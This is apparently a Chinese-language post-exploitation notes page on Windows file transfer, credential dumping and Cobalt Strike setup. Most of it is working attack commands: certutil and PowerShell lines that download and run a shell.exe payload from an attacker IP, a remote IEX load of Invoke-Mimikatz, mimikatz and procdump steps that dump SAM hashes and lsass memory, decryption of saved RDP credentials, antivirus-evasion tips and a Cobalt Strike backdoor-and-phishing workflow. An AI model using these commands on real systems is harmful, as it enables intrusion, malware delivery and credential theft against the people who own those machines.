Windows文件传输

FTP

攻击机:

python快速开启ftp服务器

1
2
pip3 install pyftpdlib
python3 -m pyftpdlib

image-20230602193643551

目标机:

用控制台写入一个ftp.txt文件,使用匿名登录anonymous到攻击机的ftp服务,从攻击机上下载恶意文件msftest.apk

1
2
3
4
5
6
copy con ftp.txt 
open 192.168.1.227 2121
anonymous
anonymous
get msftest.apk
quit

image-20230602195727154

保存为ftp.txt文件:

1
ftp -i -s:ftp.txt

image-20230602195704765

Certutil

下载并执行

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe shell.exe&shell.exe

清除下载缓存

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe delete

缓存目录:

1
%USERPROFILE%\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content

Powershell

创建下载对象

1
2
$p = new-object system.net.webclient
$p.downloadfile("http://x.xx.xx.x/file","c:vxx/x/file")

完整命令示例

1
2
3
4
5
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.227/s.txt','s.txt\')"

powershell (new-object system.net.webclient).downloadfile('http://192.168.1.227/s.txt','s.txt\')

powershell Invoke-WebRequest -uri " http://192.168.1.227/s.txt " -OutFile "$env:temp\s.php"

SCP

文件上传

  • file.txt为要上传的文件名
  • username为您的用户名
  • remote_host为远程主机名或IP地址
  • /remote_directory/为要将文件上传到的远程目录路径
1
scp file.txt username@remote_host:/remote_directory/

文件下载

  • username为您的用户名
  • remote_host为远程主机名或IP地址
  • /remote_directory/file.txt为下载的远程文件路径
1
scp username@remote_host:/remote_directory/file.txt .

总结

这里列举了几种Windows下常见的文件上传和下载方式,主要用来在获取shell后进行进一步的上传木马文件或者下载敏感文件。

Windows密码凭证获取

Hash简介

参考链接:几种windows本地hash值获取和破解详解

Windows系统使用两种方法对用户的密码逬行哈希处理,它们分别是LAN Manager (LM)哈希和NT LAN
Manager (NTLM)哈希.

所谓哈希(hash),就是使用一种加密函数进行计算后的结果.这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串.

现在已经有了更新的NTLMv2以及Kerberos验证体系.

Windows加密过的密码口令,我们称之为hash, Windows的系统密码hash默认情况下TS由两部分组成:第一
部分是LM-hash,第二部分是NTLM-hashₒ

Hash分类

2000 xp 2003 Vista win7 2008 2012
LM
NTLM

LM哈希密码最大长度为14,密码长度超过14位是要用NTLM哈希。

Hash格式

用户名RID:LM-HASH值 :NT-HASH值

image-20230531231621682

用户的SID值末尾的4个数字为用户的RID值

image-20230531231941199

Windows认证基础

本地认证:用户直接操作计算机登录

网络认证:远程连接到工作组的某个设备

域认证:登录到域环境的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户 输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)
  4. 匹配则登录成功

本地认证中用来处理用户输入密码的进程为Isass.exe,密码会在这个进程中明文保存,供该进程将NTLM Hash和sam数据库中的Hash及进行比对,我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。

系统用户密码凭证获取

minikatz

本地非交互式凭证获取

1
2
3
minikatz.exe "log res.txt" "privilege::debuug" "token::elevate" "lsadump::sam" "exit"

minikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

这里展示获取Hash值方法

首先进入privilege::debug进行提权

image-20230601105005647

接着进行token模拟,运行token::elevate可以将权限提到system

image-20230601105206455

然后使用lsdump::sam把sam数据库中的值dump下来,可以获取用户hash值

image-20230601104739059

最后登录md5解密网站进行解密

image-20230601104838766

如果解密不出来,据说可以利用这个hash值进行域内的横向移动。

powershell

powershell远程加载mimikatz脚本

1
powershell IEX (New-Object Net.webClient).Downloading('你的vps中脚本下载地址');Invoke-Mimikatz-DumpCreds

Pwddump7

这款工具也可以读取当前系统的各个用户的密码hash

在命令行输入

1
Pwddump7.exe > pass.txt

Ophcrack

配合彩虹表进行口令破解

工具下载:

https://ophcrack.sourceforge.io/

彩虹表:

https://ophcrack.sourceforge.io/tables.php

http://project-rainbowcrack.com/table.htm

Procdump+Mimikatz(比较常用)

这个是微软的工具,经过微软认证,所以杀软比较不会识别

工具下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

1
2
x86:procdump.exe -accepteula -ma lsass.exe lsass.dmp
x64:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后用mimikatz还原密码

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

minikatz免杀方法

参考链接:https://www.freebuf.com/articles/system/234365.html

注册表导出Hash

1
2
3
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息

1
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" eixt

meterpreter获取Hash

meterpreter集成了minikatz模块

使用命令

1
2
3
load minikatz 
msv 获取明文密码
kerberos 获取明文密码

以及其他命令,不作详述。

cobaltstrike获取Hash

cobaltstrike也能够在监听器中使用mimikatz

其他

Powershell脚本获取RDP记录

参考:https://github.com/3gstudent/List-RDP-Connections-History.git

可以获取RDP连接记录

本地RDP连接密码解密

查看连接记录

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

查看是否有密码文件

1
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

查看保存在本地的远程主机信息

1
cmdkey /list

mimikatz解密

1
2
3
4
5
6
7
8
9
提权
privilege::debug
可以得到guidMasterkey,记录这个值
dpapi::cred
/in:[指定需要解密的文件的路径]
得到MasterKey
sekurlsa::dpapi
解密得到口令
dpapi::cred /masterkey:[刚才获取的masterkey值]

PPTP口令获取

PPTP点对点隧道协议,可以使远程用户拨入ISP访问企业内网。

在渗透测试中,获取了PPTP口令,就可以登录内网进行进一步渗透。

需要得到管理员权限。

Mysql数据库密码破解

与用户相关的三个文件是user.frm、user.MYD\USER.myi,Mysql数据库用户名密码都保存在user.MYD中。

加密方式:

Mysql4.1之前是Mysql323加密

Mysql4.1之后是MysqlSHA1加密

总结

这里列举了一些比较常见的密码凭证获取的方法,可以发现密码凭证大多数都是使用Hash值进行存储,破解其实也比较困难,主要是采用彩虹表,但也不排除有些密码凭证是以明文方式存储的。总而言之,方法总比困难多。

cobaltstrike

简单介绍

Cobalt strike 继承了端口转发、扫描多模式端口Listener,Windows exe程序生成、Windows dll动态链接库生成、java程序生成,office宏代码生成,站点克隆等

环境要求

java8环境

CentOS7.9中的下载命令(不需要配置环境变量)

1
yum -y install java-1.8.0-openjdk-devel.x86_64

配置使用

将Cobaltstrike文件夹上传到vps中,打包成zip使用Xshell传输。

vps将zip文件解包

1
unzip cobaltstrike4.zip

将teamserver文件授予可执行权限

1
chmod +x teamserver

开启teamserver服务端

1
./teamserver [公网IP] [自定义密码]

运行截图

image-20230531155156621

客户端输入对应的信息即可连接

image-20230531155325604

常用功能

image-20230531155511884

image-20230531155802088

image-20230531160308405

image-20230531160411012

靶机控制

设置sleep即心跳,原本的sleep为60,是为了防止被防火墙拦截,如果我们进行测试可以将其改为更小的值。

执行shell命令,beacon中执行shell命令的格式:

1
shell [命令]

image-20230531172413872

执行提权,在windows中提权可以升级为system权限,在linux中提权可以升级成root权限。

运行mimikatz是为了获取系统命令。

image-20230531172524806

攻击流程

image-20230531173301827

1.我们需要先设置监听器,设置我们vps的信息。

image-20230531175347651

2.然后进行攻击-生成后门-生成windows可执行程序

image-20230531175559141

3.然后进行钓鱼攻击-文件下载-生成恶意下载链接

image-20230531175708271

4.靶机点击链接,下载并执行可执行文件,在cobaltstrike可以看到靶机上线,然后可以进行后渗透。

总结

Cobaltstrike的功能非常多,可以自行探索,建议Cobaltstrike可以做稳定控制,metasploit进行信息搜集和漏洞利用。